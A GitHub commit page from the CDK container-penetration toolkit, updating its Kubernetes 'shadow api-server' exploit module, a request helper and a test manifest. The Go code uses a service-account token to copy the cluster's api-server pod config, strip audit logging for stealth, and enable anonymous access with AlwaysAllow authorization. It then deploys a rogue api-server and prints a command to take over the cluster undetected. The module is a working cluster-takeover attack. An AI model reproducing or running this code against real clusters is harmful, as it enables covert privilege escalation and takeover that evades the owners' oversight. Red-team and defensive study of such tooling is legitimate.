Skip to content

Commit

Permalink
Merge pull request #50 from cdk-team/fix-shadow-apiserver-49
Browse files Browse the repository at this point in the history
Fix #49 (shadow-apiserver): Flag --insecure-port has been deprecated
  • Loading branch information
neargle committed Jun 10, 2022
2 parents 52bab3e + 71d0646 commit b71d8d6
Show file tree
Hide file tree
Showing 3 changed files with 42 additions and 30 deletions.
52 changes: 31 additions & 21 deletions pkg/exploit/k8s_shadow_apiserver.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
//go:build !thin && !no_k8s_shadow_apiserver
// +build !thin,!no_k8s_shadow_apiserver


/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Expand All @@ -21,16 +21,18 @@ package exploit

import (
"fmt"
"log"
"regexp"
"strings"

"github.com/cdk-team/CDK/conf"
"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/errors"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/tool/kubectl"
"github.com/cdk-team/CDK/pkg/util"
"github.com/tidwall/gjson"
"github.com/tidwall/sjson"
"log"
"regexp"
"strings"
)

func findApiServerPodInMasterNode(token string, serverAddr string) (string, error) {
Expand All @@ -56,6 +58,7 @@ func findApiServerPodInMasterNode(token string, serverAddr string) (string, erro
log.Println("trying to find api-server pod in namespace:kube-system")
resp, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
Expand Down Expand Up @@ -103,6 +106,7 @@ func dumpPodConfig(token string, serverAddr string, podName string, namespace st
log.Println("dump config json of pod:", podName, "in namespace:", namespace)
resp, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
Expand All @@ -126,7 +130,8 @@ func generateShadowApiServerConf(json string) string {

// patch cdxy 20210413
// Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","reason":"Invalid","details":{"name":"kube-apiserver-10.206.0.11-shadow","kind":"Pod","causes":[{"reason":"FieldValueInvalid","message":"Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue', or 'my_value', or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","field":"metadata.labels"}]},"code":422}
json, _ = sjson.Set(json, "metadata.name", gjson.Get(json, "metadata.name").String()+"-shadow")
podName := gjson.Get(json, "metadata.name").String() + "-shadow" + "-" + strings.ToLower(util.RandString(6))
json, _ = sjson.Set(json, "metadata.name", podName)
json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"shadow")

// remove audit logs to get stealth
Expand All @@ -144,16 +149,19 @@ func generateShadowApiServerConf(json string) string {
}

// set insecure-port to 0.0.0.0:9443
reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9443${3}")
if !strings.Contains(json, "--insecure-port") {
json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`)
}
reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")
if !strings.Contains(json, "--insecure-bind-address") {
json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`)
}
// fix "Flag --insecure-port has been deprecated, This flag has no effect now and will be removed in v1.24."

// reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}9443${3}")
// if !strings.Contains(json, "--insecure-port") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`)
// }
// reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`)
// json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")
// if !strings.Contains(json, "--insecure-bind-address") {
// json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`)
// }

// set --secure-port to 9444
reg = regexp.MustCompile(`("--secure-port\s*?=\s*?)(.*?)(")`)
json = reg.ReplaceAllString(json, "${1}9444${3}")
Expand Down Expand Up @@ -200,6 +208,7 @@ func deployPod(token string, serverAddr string, namespace string, data string) (

resp, err := kubectl.ServerAccountRequest(opts)
if err != nil {
log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
return "", errors.New("faild to request api-server.")
}
if !strings.Contains(resp, "selfLink") {
Expand Down Expand Up @@ -233,20 +242,22 @@ func (p K8sShadowApiServerS) Run() bool {
}
fmt.Println("\tFind K8s api-server in ENV:", addr)

apiServerPod, err := findApiServerPodInMasterNode(args[0], addr)
tokenFlag := args[0]

apiServerPod, err := findApiServerPodInMasterNode(tokenFlag, addr)
if err != nil {
fmt.Println(err)
return false
}
config, err := dumpPodConfig(args[0], addr, apiServerPod, "kube-system")
config, err := dumpPodConfig(tokenFlag, addr, apiServerPod, "kube-system")
if err != nil {
fmt.Println(err)
return false
}
// config for shadow api-server
data := generateShadowApiServerConf(config)
//fmt.Println("request data:",data)
resp, err := deployPod(args[0], addr, "kube-system", data)
resp, err := deployPod(tokenFlag, addr, "kube-system", data)
//fmt.Println("response_data:",resp)
if err != nil {
log.Println(err)
Expand All @@ -265,9 +276,8 @@ func (p K8sShadowApiServerS) Run() bool {
namespace := gjson.Get(resp, "metadata.namespace").String()
node := gjson.Get(resp, "spec.nodeName").String()
fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node)
fmt.Print("\tlistening insecure-port: 0.0.0.0:9443\n\tlistening secure-port: 0.0.0.0:9444")
fmt.Print("\tenabled all privilege for system:anonymous user\n")
fmt.Print("\tgo further run `cdk kcurl anonymous get http://your-node-intranet-ip:9443/api` to takeover cluster with none audit logs!\n")
fmt.Printf("\tlistening secure-port: https://%s:9444\n", node)
fmt.Printf("\tgo further run `cdk kcurl %s get https://%s:9444/api` to takeover cluster with none audit logs!\n", tokenFlag, node)

return true
}
Expand Down
16 changes: 9 additions & 7 deletions pkg/tool/kubectl/common.go
Original file line number Diff line number Diff line change
Expand Up @@ -151,22 +151,24 @@ func ServerAccountRequest(opts K8sRequestOption) (string, error) {
}
//defer resp.Body.Close()

content, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."}
}

res := string(content)

// Fix a bug reported by the author of crossc2 on whc2021.
// When the DeployBackdoorDaemonset call fails and returns an error, it will still feedback true.
if !util.IntContains(MaybeSuccessfulStatuscodeList, resp.StatusCode) {
errMsg := fmt.Sprintf("err found in post request, error response code: %v.", resp.Status)
return "", &errors.CDKRuntimeError{
return res, &errors.CDKRuntimeError{
Err: err,
CustomMsg: errMsg,
}
}

content, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."}
}

return string(content), nil
return res, nil
}

func GetServerVersion(serverAddr string) (string, error) {
Expand Down
4 changes: 2 additions & 2 deletions test/k8s_exploit_util/shadow-apiserver.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,8 @@ spec:
- --allow-privileged=true
- --anonymous-auth=true
- --authorization-mode=AlwaysAllow
- --insecure-port=443
- --insecure-bind-address=0.0.0.0
# - --insecure-port=443
# - --insecure-bind-address=0.0.0.0
- --client-ca-file=/etc/kubernetes/pki/ca.crt
- --enable-bootstrap-token-auth=true
- --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt

0 comments on commit b71d8d6

Please sign in to comment.